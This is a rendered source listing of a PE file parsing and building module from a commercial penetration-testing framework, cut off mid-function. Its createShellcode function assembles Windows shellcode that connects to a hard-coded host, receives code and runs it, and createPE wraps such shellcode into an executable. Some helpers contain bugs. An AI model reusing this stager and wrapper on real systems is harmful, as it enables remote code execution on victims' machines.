Package Libs :: Module pelib
[hide private]
[frames] | no frames]

Source Code for Module Libs.pelib

   1  #! /usr/bin/env python 
   2  """ 
   3  (c) Immunity, Inc. 2004-2007 
   4   
   5   
   6  U{Immunity Inc.<http://www.immunityinc.com>} pelib 
   7   
   8  Proprietary CANVAS source code - use only under the license agreement 
   9  specified in LICENSE.txt in your CANVAS distribution 
  10  Copyright Immunity, Inc, 2002-2007 
  11  http://www.immunityinc.com/CANVAS/ for more information 
  12   
  13  """ 
  14   
  15  __VERSION__ = '1.0' 
  16   
  17  import struct, sys 
  18  sys.path.append(".") 
  19  sys.path.append("../") 
  20  #try: 
  21  #        import mosdefutils 
  22  #except ImportError: 
  23  #        # Is this IMdbug 
  24  #        import immutils 
  25           
  26  try: 
  27          import mosdef 
  28  except ImportError: 
  29          pass 
  30  try: 
  31          from shellcode import shellcodeGenerator 
  32  except ImportError: 
  33          pass 
  34   
  35  IMAGE_SIZEOF_FILE_HEADER=20 
  36  MZ_MAGIC = 0x5A4D 
  37  PE_MAGIC = 0x4550 
  38  IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 
  39  IMAGE_ORDINAL_FLAG = 0x80000000L 
  40   
  41  # PE documentation: 
  42  # http://win32assembly.online.fr/files/pe1.zip 
  43   
44 -def hexdump(buf):
45 tbl=[] 46 tmp="" 47 hex="" 48 i=0 49 for a in buf: 50 hex+="%02X "% ord(a) 51 i+=1 52 if ord(a) >=0x20 and ord(a) <0x7f: 53 tmp+=a 54 else: 55 tmp+="." 56 if i%16 == 0: 57 tbl.append((hex, tmp)) 58 hex="" 59 tmp="" 60 tbl.append((hex, tmp)) 61 return tbl
62
63 -def readStringFromFile(fd, offset):
64 idx= fd.tell() 65 fd.seek(offset) 66 b=f.read(4096*4) 67 zero=b.find("\0") 68 fd.seek(idx) 69 if zero > -1: 70 return b[:zero] 71 return ""
72 73 #typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header 74 #USHORT e_magic; // Magic number 75 #USHORT e_cblp; // Bytes on last page of file 76 #USHORT e_cp; // Pages in file 77 #USHORT e_crlc; // Relocations 78 #USHORT e_cparhdr; // Size of header in paragraphs 79 #USHORT e_minalloc; // Minimum extra paragraphs needed 80 #USHORT e_maxalloc; // Maximum extra paragraphs needed 81 #USHORT e_ss; // Initial (relative) SS value 82 #USHORT e_sp; // Initial SP value 83 #USHORT e_csum; // Checksum 84 #USHORT e_ip; // Initial IP value 85 #USHORT e_cs; // Initial (relative) CS value 86 #USHORT e_lfarlc; // File address of relocation table 87 #USHORT e_ovno; // Overlay number 88 #USHORT e_res[4]; // Reserved words 89 #USHORT e_oemid; // OEM identifier (for e_oeminfo) 90 #USHORT e_oeminfo; // OEM information; e_oemid specific 91 #USHORT e_res2[10]; // Reserved words 92 #LONG e_lfanew; // File address of new exe header 93 #} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 94 95
96 -class PEError(Exception): pass
97
98 -class MZ:
99
100 - def __init__(self):
101 self.fmt="<30HL" 102 self.e_magic=0x5A4D 103 self.e_cblp=self.e_cp=self.e_crlc=self.e_cparhdr=self.e_minalloc=self.e_maxalloc = self.e_ss = self.e_sp =\ 104 self.e_csum = self.e_ip= self.e_cs = self.e_lfarlc = self.e_ovno = self.e_oemid =\ 105 self.e_oeminfo = self.e_res2 =self.e_lfanew = 0 106 107 self.e_res = [0,0,0,0] 108 self.e_res2 = [0,0,0,0,0,0,0,0,0,0]
109
110 - def getSize(self):
111 return struct.calcsize(self.fmt)
112
113 - def get(self, data):
114 try: 115 buf=struct.unpack(self.fmt, data[:struct.calcsize(self.fmt)]) 116 except struct.error: 117 raise PEError, "The header doesn't correspond to a MZ header" 118 119 self.e_magic = buf[0] 120 self.e_cblp = buf[1] 121 self.e_cp = buf[2] 122 self.e_crlc = buf[3] 123 self.e_cparhdr = buf[4] 124 self.e_minalloc = buf[5] 125 self.e_maxalloc = buf[6] 126 self.e_ss = buf[7] 127 self.e_sp = buf[8] 128 self.e_csum = buf[9] 129 self.e_ip = buf[10] 130 self.e_cs = buf[11] 131 self.e_lfarlc = buf[12] 132 self.e_ovno = buf[13] 133 self.e_res = buf[14:18] 134 self.e_oemid = buf[18] 135 self.e_oeminfo = buf[19] 136 self.e_res2 = buf[20:30] 137 self.e_lfanew = buf[30] 138 139 if self.e_magic != MZ_MAGIC: 140 raise PEError, "The header doesn't correspond to a MZ header"
141
142 - def raw(self):
143 return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,\ 144 self.e_crlc, self.e_cparhdr, self.e_minalloc,\ 145 self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,\ 146 self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno, \ 147 self.e_res[0],self.e_res[1],self.e_res[2],self.e_res[3],\ 148 self.e_oemid, self.e_oeminfo,\ 149 self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],\ 150 self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7], 151 self.e_res2[8], self.e_res2[9], self.e_lfanew)
152 153 # returns the e_lfanew offset
154 - def getPEOffset(self):
155 return self.e_lfanew
156
157 -class ImageImportByName:
158 - def __init__(self):
159 self.fmt = "<H" 160 self.Hint=0 161 self.Name=""
162
163 - def get(self, data):
164 self.Hint = struct.unpack(self.fmt, data[:2])[0] 165 ndx = data[2:].find("\0") 166 if ndx == -1: 167 raise PEError, "No string found on ImageImportByName" 168 self.Name = data[2:2+ndx]
169
170 - def getSize(self):
171 return len(self.Name) +3 # 1 for \0 + 2 for Hint
172
173 - def raw(self):
174 return struct.pack(self.fmt, self.Hint) + self.Name + "\0"
175
176 -class ImportDescriptor:
177 - def __init__(self):
178 self.fmt= "<LLLLL" 179 self.OriginalFirstThunk= self.TimeDateStamp= self.ForwarderChain= self.Name=\ 180 self.FirstThunk=0 181 self.sName ="" 182 self.Imports={}
183
184 - def get(self, data):
185 (self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\ 186 self.FirstThunk) = struct.unpack(self.fmt, data)
187
188 - def setSname(self, name):
189 self.sName= name
190
191 - def setImport(self, name, obj):
192 self.Imports[name] = obj
193
194 - def raw(self):
195 return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\ 196 self.FirstThunk)
197
198 - def getSize(self):
199 return struct.calcsize(self.fmt)
200 201 #typedef struct _IMAGE_DATA_DIRECTORY { 202 # ULONG VirtualAddress; 203 # ULONG Size; 204 #} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 205 206
207 -class Directory:
208
209 - def __init__(self):
210 self.VirtualAddress = self.Size = 0
211
212 - def get(self, data):
213 (self.VirtualAddress, self.Size) = struct.unpack("2L", data)
214
215 - def raw(self):
216 return struct.pack("2L", self.VirtualAddress, self.Size)
217
218 - def getSize(self):
219 return 0x8
220 221 #typedef struct _IMAGE_EXPORT_DIRECTORY { 222 # DWORD Characteristics; 223 # DWORD TimeDateStamp; 224 # WORD MajorVersion; 225 # WORD MinorVersion; 226 # DWORD Name; 227 # DWORD Base; 228 # DWORD NumberOfFunctions; 229 # DWORD NumberOfNames; 230 # DWORD AddressOfFunctions; // RVA from base of image 231 # DWORD AddressOfNames; // RVA from base of image 232 # DWORD AddressOfNameOrdinals; // RVA from base of image 233 #} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY
234 -class ImageExportDirectory:
235 - def __init__(self):
236 self.fmt = "<2L2H7L" 237 self.Characteristics = self.TimeDateStamp = self.MajorVersion = self.MinorVersion = self.Name = self.Base=\ 238 self.NumberOfFunctions = self.NumberOfNames = self.AddressOfFunctions = self.AddressOfNames = \ 239 self.AddressOfNameOrdinals = 0 240 self.sName=""
241
242 - def setName(self, name):
243 self.sName = name
244
245 - def getSize(self):
246 return struct.calcsize(self.fmt)
247
248 - def get(self, data):
249 (self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\ 250 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \ 251 self.AddressOfNameOrdinals) = struct.unpack(self.fmt, data)
252
253 - def raw(self):
254 return struct.pack(self.fmt, self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\ 255 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \ 256 self.AddressOfNameOrdinals)
257 258 259 260 #define IMAGE_SIZEOF_SHORT_NAME 8 261 # 262 #typedef struct _IMAGE_SECTION_HEADER { 263 # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 264 # union { 265 # DWORD PhysicalAddress; 266 # DWORD VirtualSize; 267 # } Misc;umber 268 # DWORD VirtualAddress; 269 # DWORD SizeOfRawData; 270 # DWORD PointerToRawData; 271 # DWORD PointerToRelocations; 272 # DWORD PointerToLinenumbers; 273 # WORD NumberOfRelocations; 274 # WORD NumberOfLinenumbers; 275 # DWORD Characteristics; 276 #} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 277
278 -class Section:
279 - def __init__(self):
280 self.fmt="<LLLLLLHHL" 281 self.Name="" 282 self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData =\ 283 self.PointerToRelocations = self.PointerToLinenumbers=\ 284 self.NumberOfRelocations = self.NumberOfLinenumbers =\ 285 self.Characteristics = 0
286
287 - def getSize(self):
288 return struct.calcsize(self.fmt) + 8
289
290 - def has(self, rva, imagebase=0):
291 return rva >= (self.VirtualAddress+imagebase) and rva < (self.VirtualAddress+self.VirtualSize+imagebase)
292
293 - def hasOffset(self, offset):
294 return offset >= self.PointerToRawData and offset < (self.PointerToRawData + self.VirtualSize)
295 296
297 - def get(self, data):
298 idx=0 299 300 self.Name=data[idx:idx+8] 301 idx+=8 302 303 (self.VirtualSize, self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData ,\ 304 self.PointerToRelocations, self.PointerToLinenumbers,\ 305 self.NumberOfRelocations, self.NumberOfLinenumbers,\ 306 self.Characteristics)= \ 307 struct.unpack(self.fmt, data[idx:])
308
309 - def raw(self):
310 self.Name = (self.Name + "\x00" * (8-len(self.Name)))[:8] 311 return self.Name + struct.pack(self.fmt, self.VirtualSize, \ 312 self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,\ 313 self.PointerToRelocations, self.PointerToLinenumbers,\ 314 self.NumberOfRelocations, self.NumberOfLinenumbers,\ 315 self.Characteristics)
316 317 318 319 #typedef struct _IMAGE_FILE_HEADER { 320 # USHORT Machine; 321 # USHORT NumberOfSections; 322 # ULONG TimeDateStamp; 323 # ULONG PointerToSymbolTable; 324 # ULONG NumberOfSymbols; 325 # USHORT SizeOfOptionalHeader; 326 # USHORT Characteristics; 327 #} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; 328 329 ##define IMAGE_SIZEOF_FILE_HEADER 20
330 -class IMGhdr:
331 - def __init__(self):
332 self.imagefmt= "<2H3L2H" 333 (self.Machine,\ 334 self.NumberOfSections,\ 335 self.TimeDateStamp,\ 336 self.PointerToSymbolTable,\ 337 self.NumberOfSymbols,\ 338 self.SizeOfOptionalHeader,\ 339 self.Characteristics)= (0,0,0,0,0,0xe0,0)
340
341 - def get(self, data):
342 try: 343 (self.Machine,\ 344 self.NumberOfSections,\ 345 self.TimeDateStamp,\ 346 self.PointerToSymbolTable,\ 347 self.NumberOfSymbols,\ 348 self.SizeOfOptionalHeader,\ 349 self.Characteristics)=struct.unpack(self.imagefmt, data) 350 except struct.error: 351 raise PEError, "Invalid IMAGE header" % self.signature
352
353 - def getSize(self):
354 return struct.calcsize(self.imagefmt)
355
356 - def raw(self):
357 try: 358 return struct.pack(self.imagefmt,self.Machine,\ 359 self.NumberOfSections,\ 360 self.TimeDateStamp,\ 361 self.PointerToSymbolTable,\ 362 self.NumberOfSymbols,\ 363 self.SizeOfOptionalHeader,\ 364 self.Characteristics) 365 except struct.error: 366 raise PEError, "Image not initialized" % self.signature
367 368 369 #typedef struct _IMAGE_OPTIONAL_HEADER { 370 # // 371 # // Standard fields. 372 # // 373 # USHORT Magic; 374 # UCHAR MajorLinkerVersion; 375 # UCHAR MinorLinkerVersion; 376 # ULONG SizeOfCode; 377 # ULONG SizeOfInitializedData; 378 # ULONG SizeOfUninitializedData; 379 # ULONG AddressOfEntryPoint; 380 # ULONG BaseOfCode; 381 # ULONG BaseOfData; 382 # // 383 # // NT additional fields. 384 # // 385 # ULONG ImageBase; 386 # ULONG SectionAlignment; 387 # ULONG FileAlignment; 388 # USHORT MajorOperatingSystemVersion; 389 # USHORT MinorOperatingSystemVersion; 390 # USHORT MajorImageVersion; 391 # USHORT MinorImageVersion; 392 # USHORT MajorSubsystemVersion; 393 # USHORT MinorSubsystemVersion; 394 # ULONG Reserved1; 395 # ULONG SizeOfImage; 396 # ULONG SizeOfHeaders; 397 # ULONG CheckSum; 398 # USHORT Subsystem; 399 # USHORT DllCharacteristics; 400 # ULONG SizeOfStackReserve; 401 # ULONG SizeOfStackCommit; 402 # ULONG SizeOfHeapReserve; 403 # ULONG SizeOfHeapCommit; 404 # ULONG LoaderFlags; 405 # ULONG NumberOfRvaAndSizes; 406 # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; 407 #} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER; 408
409 -class IMGOPThdr:
410 - def __init__(self):
411 self.optionalfmt="<HBB9L6H4L2H6L" 412 self.Magic=0x010b 413 self.MajorLinkerVersion = self.MinorLinkerVersion = self.SizeOfCode =\ 414 self.SizeOfInitializedData = self.SizeOfUninitializedData = self.AddressOfEntryPoint =\ 415 self.BaseOfCode = self.BaseOfData = self.ImageBase = self.SectionAlignment = self.FileAlignment =\ 416 self.MajorOperatingSystemVersion = self.MinorOperatingSystemVersion = self.MajorImageVersion =\ 417 self.MinorImageVersion = self.MajorSubsystemVersion = self.MinorSubsystemVersion =\ 418 self.Reserved1 = self.SizeOfImage = self.SizeOfHeaders = self.CheckSum = self.Subsystem =\ 419 self.DllCharacteristics = self.SizeOfStackReserve = self.SizeOfStackCommit = self.SizeOfHeapReserve=\ 420 self.SizeOfHeapCommit = self.LoaderFlags = self.NumberOfRvaAndSizes =0
421
422 - def getSize(self):
423 return struct.calcsize(self.optionalfmt)
424
425 - def Print(self):
426 return "self.Magic %08x,\ 427 self.MajorLinkerVersion %08x,\ 428 self.MinorLinkerVersion %08x,\ 429 self.SizeOfCode %08x,\ 430 self.SizeOfInitializedData %08x,\ 431 self.SizeOfUninitializedData %08x,\ 432 self.AddressOfEntryPoint %08x,\ 433 self.BaseOfCode %08x,\ 434 self.BaseOfData %08x,\ 435 self.ImageBase %08x,\ 436 self.SectionAlignment %08x,\ 437 self.FileAlignment %08x,\ 438 self.MajorOperatingSystemVersion %08x,\ 439 self.MinorOperatingSystemVersion %08x,\ 440 self.MajorImageVersion %08x,\ 441 self.MinorImageVersion %08x,\ 442 self.MajorSubsystemVersion %08x,\ 443 self.MinorSubsystemVersion %08x,\ 444 self.Reserved1 %08x,\ 445 self.SizeOfImage %08x,\ 446 self.SizeOfHeaders %08x,\ 447 self.CheckSum %08x,\ 448 self.Subsystem %08x,\ 449 self.DllCharacteristics %08x,\ 450 self.SizeOfStackReserve %08x,\ 451 self.SizeOfStackCommit %08x,\ 452 self.SizeOfHeapReserve %08x,\ 453 self.SizeOfHeapCommit %08x,\ 454 self.LoaderFlags %08x,\ 455 self.NumberOfRvaAndSizes %08x" % \ 456 (self.Magic,\ 457 self.MajorLinkerVersion,\ 458 self.MinorLinkerVersion,\ 459 self.SizeOfCode,\ 460 self.SizeOfInitializedData,\ 461 self.SizeOfUninitializedData,\ 462 self.AddressOfEntryPoint,\ 463 self.BaseOfCode,\ 464 self.BaseOfData,\ 465 self.ImageBase,\ 466 self.SectionAlignment,\ 467 self.FileAlignment,\ 468 self.MajorOperatingSystemVersion,\ 469 self.MinorOperatingSystemVersion,\ 470 self.MajorImageVersion,\ 471 self.MinorImageVersion,\ 472 self.MajorSubsystemVersion,\ 473 self.MinorSubsystemVersion,\ 474 self.Reserved1,\ 475 self.SizeOfImage,\ 476 self.SizeOfHeaders,\ 477 self.CheckSum,\ 478 self.Subsystem,\ 479 self.DllCharacteristics,\ 480 self.SizeOfStackReserve,\ 481 self.SizeOfStackCommit,\ 482 self.SizeOfHeapReserve,\ 483 self.SizeOfHeapCommit,\ 484 self.LoaderFlags,\ 485 self.NumberOfRvaAndSizes )
486
487 - def get(self, data):
488 try: 489 (self.Magic,\ 490 self.MajorLinkerVersion,\ 491 self.MinorLinkerVersion,\ 492 self.SizeOfCode,\ 493 self.SizeOfInitializedData,\ 494 self.SizeOfUninitializedData,\ 495 self.AddressOfEntryPoint,\ 496 self.BaseOfCode,\ 497 self.BaseOfData,\ 498 self.ImageBase,\ 499 self.SectionAlignment,\ 500 self.FileAlignment,\ 501 self.MajorOperatingSystemVersion,\ 502 self.MinorOperatingSystemVersion,\ 503 self.MajorImageVersion,\ 504 self.MinorImageVersion,\ 505 self.MajorSubsystemVersion,\ 506 self.MinorSubsystemVersion,\ 507 self.Reserved1,\ 508 self.SizeOfImage,\ 509 self.SizeOfHeaders,\ 510 self.CheckSum,\ 511 self.Subsystem,\ 512 self.DllCharacteristics,\ 513 self.SizeOfStackReserve,\ 514 self.SizeOfStackCommit,\ 515 self.SizeOfHeapReserve,\ 516 self.SizeOfHeapCommit,\ 517 self.LoaderFlags,\ 518 self.NumberOfRvaAndSizes )= struct.unpack(self.optionalfmt, data) 519 except struct.error: 520 raise PEError, "Invalid Optional Header" % self.signature
521
522 - def raw(self):
523 try: 524 return struct.pack(self.optionalfmt, self.Magic,\ 525 self.MajorLinkerVersion,\ 526 self.MinorLinkerVersion,\ 527 self.SizeOfCode,\ 528 self.SizeOfInitializedData,\ 529 self.SizeOfUninitializedData,\ 530 self.AddressOfEntryPoint,\ 531 self.BaseOfCode,\ 532 self.BaseOfData,\ 533 self.ImageBase,\ 534 self.SectionAlignment,\ 535 self.FileAlignment,\ 536 self.MajorOperatingSystemVersion,\ 537 self.MinorOperatingSystemVersion,\ 538 self.MajorImageVersion,\ 539 self.MinorImageVersion,\ 540 self.MajorSubsystemVersion,\ 541 self.MinorSubsystemVersion,\ 542 self.Reserved1,\ 543 self.SizeOfImage,\ 544 self.SizeOfHeaders,\ 545 self.CheckSum,\ 546 self.Subsystem,\ 547 self.DllCharacteristics,\ 548 self.SizeOfStackReserve,\ 549 self.SizeOfStackCommit,\ 550 self.SizeOfHeapReserve,\ 551 self.SizeOfHeapCommit,\ 552 self.LoaderFlags,\ 553 self.NumberOfRvaAndSizes ) 554 555 except struct.error: 556 raise PEError, "Invalid Optional Header" % self.signature
557
558 -class PE:
559 - def __init__(self):
560 #IMAGE HEADER 561 self.Directories=[] 562 self.Sections={} 563 self.Imports={}
564
565 - def get(self, data, offset2PE):
566 self.offset2PE=offset2PE 567 idx=self.offset2PE 568 569 self.signature,=struct.unpack("L", data[idx:idx+4]) 570 idx+=4 571 572 if self.signature != PE_MAGIC: 573 raise PEError, "Invalid PE Signature: %08x" % self.signature 574 575 self.IMGhdr = IMGhdr() 576 self.IMGhdr.get(data[idx: idx+self.IMGhdr.getSize()]) 577 578 idx += self.IMGhdr.getSize() 579 580 self.IMGOPThdr = IMGOPThdr() 581 self.IMGOPThdr.get(data[idx:idx+self.IMGOPThdr.getSize()]) 582 idx += self.IMGOPThdr.getSize() 583 584 585 self.getDirectories(data[idx: idx+IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8]) 586 idx += IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8 587 588 #print "-" * 4 + " Directories "+ "-" * 4 589 #self.printDirectories() 590 591 idx += self.getSections(data[idx:]) 592 593 #print "-" * 4 + " Sections "+ "-" * 4 594 #self.printSections() 595 596 # Getting Imports 597 #print "-" * 4 + " Imports "+ "-" * 4 598 self.getImportDescriptor(data, self.Directories[1].VirtualAddress) 599 self.printImportDescriptor()
600 601 #print "-" * 4 + " Exports "+ "-" * 4 602 #self.getExportDescriptor(data, self.Directories[0].VirtualAddress) 603 604 #offset=self.getOffsetFromRVA(0x7aac) 605 #print hexdump(data[offset:offset+0x10]) 606 #print self.IMGOPThdr.Print() 607
608 - def getSections(self, data):
609 idx = 0 610 for a in range(0, self.IMGhdr.NumberOfSections): 611 sec= Section() 612 sec.get(data[idx:idx+sec.getSize()]) 613 idx+=sec.getSize() 614 self.Sections[sec.Name] = sec 615 616 return idx+ sec.getSize()
617
618 - def getImportDescriptor(self, data, rva):
619 offset=self.getOffsetFromRVA(rva) 620 if not offset: 621 print "No Import Table Found" 622 return "" 623 while 1: 624 im = ImportDescriptor() 625 626 im.get(data[offset:offset + im.getSize()]) 627 if im.OriginalFirstThunk == 0: 628 break 629 im.setSname(self.getString(data, im.Name)) 630 if not im.sName: 631 raise PEError, "No String found on Import at offset: 0x%08x" % offset 632 self.Imports[im.sName] = im 633 634 funcNdx= self.getOffsetFromRVA(im.OriginalFirstThunk) 635 while 1: 636 rva2IIBN= struct.unpack("L", data[funcNdx:funcNdx+4])[0] 637 funcNdx+=4 638 if rva2IIBN == 0: 639 break 640 iibn=ImageImportByName() 641 if rva2IIBN & IMAGE_ORDINAL_FLAG: 642 im.setImport("#"+str(rva2IIBN & ~(IMAGE_ORDINAL_FLAG))\ 643 , iibn) 644 else: 645 off2IIBN=self.getOffsetFromRVA(rva2IIBN) 646 647 iibn=ImageImportByName() 648 iibn.get(data[off2IIBN:]) 649 im.setImport(iibn.Name, iibn) 650 651 offset+=im.getSize()
652
653 - def printImportDescriptor(self):
654 for a in self.Imports.keys(): 655 im = self.Imports[a] # to clarify a bit 656 657 for b in im.Imports.keys(): 658 print a, ":",b
659
660 - def printSections(self):
661 print "Name VirtulAddress PointerToRawData" 662 for a in self.Sections.keys(): 663 print a, hex(self.Sections[a].VirtualAddress), hex(self.Sections[a].PointerToRawData), hex(self.Sections[a].SizeOfRawData )
664 665
666 - def getString(self, data, rva):
667 offset=self.getOffsetFromRVA(rva) 668 end= data[offset:].find("\0") 669 if end ==-1: 670 return "" 671 return data[offset:offset+end]
672
673 - def getOffsetFromRVA(self, rva, imagebase=0):
674 sec=None 675 for a in self.Sections.keys(): 676 if self.Sections[a].has(rva, imagebase): 677 sec=self.Sections[a] 678 if sec: 679 return (rva -sec.VirtualAddress -imagebase )+ sec.PointerToRawData 680 return ""
681
682 - def getRVAfromoffset(self, offset, imagebase=0):
683 sec = None 684 for a in self.Sections.keys(): 685 if self.Sections[a].hasOffset(offset): 686 sec=self.Sections[a] 687 if sec: 688 return (offset -sec.PointerToRawData)+ sec.VirtualAddress+imagebase 689 return ""
690
691 - def getDirectories(self, data):
692 self.Directories=[] 693 for a in range(0, IMAGE_NUMBEROF_DIRECTORY_ENTRIES): 694 directory= Directory() 695 directory.get(data[a*8 : a*8+8]) 696 self.Directories.append(directory)
697
698 - def printDirectories(self):
699 for a in self.Directories: 700 print "%08x %08x " % (a.VirtualAddress, a.Size)
701
702 - def getExportDescriptor(self,data, rva):
703 offset=self.getOffsetFromRVA(rva) 704 if not offset: 705 #print "No Export Table Found" 706 return "" 707 em = ImageExportDirectory() 708 em.get(data[offset:offset+ em.getSize()]) 709 em.setName( self.getString(data, em.Name)) # We use the address at is it (No offset from rva) 710 addrofnames = self.getOffsetFromRVA(em.AddressOfNames) 711 addroforidnal = self.getOffsetFromRVA(em.AddressOfNameOrdinals) 712 eat = self.getOffsetFromRVA(em.AddressOfFunctions) 713 714 for a in range(0, em.NumberOfNames): 715 nameaddr = struct.unpack("L", data[ addrofnames : addrofnames+4 ])[0] 716 ordinal = struct.unpack("H", data[ addroforidnal : addroforidnal+2 ])[0] 717 address = struct.unpack("L", data[ eat +ordinal*4 : eat +ordinal*4+4 ])[0] 718 719 try: 720 name = self.getString(data, nameaddr) 721 except TypeError, msg: 722 print "Error on Export Table %s" % str(msg) 723 break 724 print "0x%08x (0x%08x): %s" % (self.IMGOPThdr.ImageBase + address, address, name) 725 addrofnames +=4 726 addroforidnal+=2
727 728 #arrayname=struct.unpack("L", data[em.AddressOfNames:em.AddressOfNames+4])[0] 729 #print hex(arrayname) 730 #print self.getString(data, arrayname) 731 #for a in range(0, em.NumberOfNames): 732 # name_off= struct.unpack("L", data[arrayname+a*4:arrayname+a*4+4])[0] 733 # print hex(name_off) 734 # print self.getString(data, name_off) 735 #print em.NumberOfNames 736 737
738 -class PElib:
739 - def __init__(self):
740 pass
741
742 - def openrawdata(self, data):
743 self.rawdata = data 744 self._openPE()
745
746 - def openfile(self, filename):
747 self.fd = open(filename, "rb") 748 self.filename = filename 749 self.rawdata = self.fd.read() 750 #shellcode=self.createShellcode() 751 752 self._openPE()
753 #self.createPE(shellcode) 754
755 - def createShellcode(self):
756 # for test only 757 localhost = "192.168.1.103" 758 localport = 8090 759 760 sc = shellcodeGenerator.win32() 761 sc.addAttr("findeipnoesp",{"subespval": 0x1000 }) 762 sc.addAttr("revert_to_self_before_importing_ws2_32", None) 763 sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost}) 764 sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF 765 sc.addAttr("ExitThread", None) 766 injectme = sc.get() 767 768 sc = shellcodeGenerator.win32() 769 sc.addAttr("findeipnoesp", {"subespval": 0}) 770 sc.addAttr("InjectToSelf", { "injectme" : injectme }) 771 sc.addAttr("ExitThread", None) 772 return sc.get()
773
774 - def align(self, idx, aligment):
775 return (idx +aligment) & ~(aligment-1)
776
777 - def _openPE(self):
778 self.MZ = MZ() 779 idx=0 780 self.MZ.get(self.rawdata[idx:idx+self.MZ.getSize()]) 781 self.PE = PE() 782 self.PE.get(self.rawdata, self.MZ.getPEOffset())
783
784 - def createPE(self, filename, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
785 786 buf = self.createPEFileBuf(shellcode, importante) 787 788 f=open(filename, "wb") 789 f.write(buf) 790 f.close()
791 792
793 - def createPEFileBuf(self, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
794 795 idx= 0 796 # MZ 797 mz = MZ() 798 mz.e_lfanew = mz.getSize() 799 800 idx+= mz.getSize() 801 802 # PE Image Header 803 imgHdr = IMGhdr() 804 imgHdr.Machine = 0x014c # i386 805 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one) 806 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine 807 808 idx += imgHdr.getSize() + 4 # for PE_MAGIC 809 810 # Optional Header 811 imgOpt = IMGOPThdr() 812 imgOpt.SectionAlignment = 0x20 # Thats our aligment 813 imgOpt.FileAlignment = 0x20 814 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0 815 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0 816 imgOpt.Subsystem = 0x3 817 imgOpt.SizeOfStackReserve = 0x100000 818 imgOpt.SizeOfStackCommit = 0x1000 819 imgOpt.SizeOfHeapReserve = 0x100000 820 imgOpt.SizeOfHeapCommit = 0x1000 821 imgOpt.NumberOfRvaAndSizes= 0x10 822 823 idx += imgOpt.getSize() 824 825 # Directories 826 directories=[] 827 for a in range(0, imgOpt.NumberOfRvaAndSizes): 828 directories.append(Directory()) 829 830 idx+= directories[0].getSize() * 16 831 832 # .code section 833 code = Section() 834 code.Name = ".text" 835 code.Characteristics = 0x60000020L # Code | Executable | Readable 836 idx+= code.getSize() 837 838 # .data section 839 data = Section() 840 data.Name = ".data" 841 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable 842 843 idx += data.getSize() 844 845 code_offset = self.align(idx, imgOpt.FileAlignment) 846 firstpad= "\0" * (code_offset - idx) 847 idx=code_offset 848 849 # we can fill data_buf with our data and that will be loaded into mem :> 850 idx+= len(shellcode) 851 data_offset = self.align(idx, imgOpt.FileAlignment) 852 secondpad= "\0" * (data_offset - idx) 853 idx = data_offset 854 data_buf ="" 855 idx+= len(data_buf) 856 857 # Creating the list of ImportDescriptors 858 import_offset =idx 859 imports=[] 860 ndx= 0 861 import_str="" 862 863 for a in importante: 864 i= ImportDescriptor() 865 i.ForwarderChain= 0xFFFFFFFFL 866 imports.append( (i, ndx)) 867 868 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end 869 # to find a string, we will do import_str_offset + this_index 870 871 import_str += a[0] + "\0" # Collecting dll names 872 873 # The final importdescriptor 874 imports.append((ImportDescriptor(), 0)) 875 idx+= i.getSize() * len(imports) 876 877 import_str_offset = idx 878 idx+= len(import_str) 879 880 off = self.align(idx, imgOpt.FileAlignment) 881 import_str+="\0" * (off-idx) 882 idx = off 883 884 # Original Thunks 885 original_thunks_offset = idx 886 original_thunk=[] 887 for a in importante: 888 original_thunk.append(idx) 889 idx+= len(a[1]) * 4 + 4 890 891 # First thunk offset 892 first_thunks_offset = idx 893 first_thunk=[] 894 for a in importante: 895 first_thunk.append(idx) 896 idx+= len(a[1]) * 4 + 4 897 898 # Creating IIBN 899 IIBN=[] 900 for a in importante: 901 tbl=[] 902 IIBN.append(tbl) 903 for b in a[1]: 904 iibn = ImageImportByName() 905 iibn.Name = b #"RevertToSelf" 906 iibn.Hint = 1 907 tbl.append((iibn, idx)) 908 idx+=iibn.getSize() 909 910 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx) 911 912 # Filling the gaps 913 imgOpt.SizeOfCode = len(shellcode) + len(secondpad) 914 imgOpt.BaseOfCode = imgOpt.AddressOfEntryPoint = code_offset 915 imgOpt.BaseOfData = data_offset 916 imgOpt.ImageBase = 0x40000 917 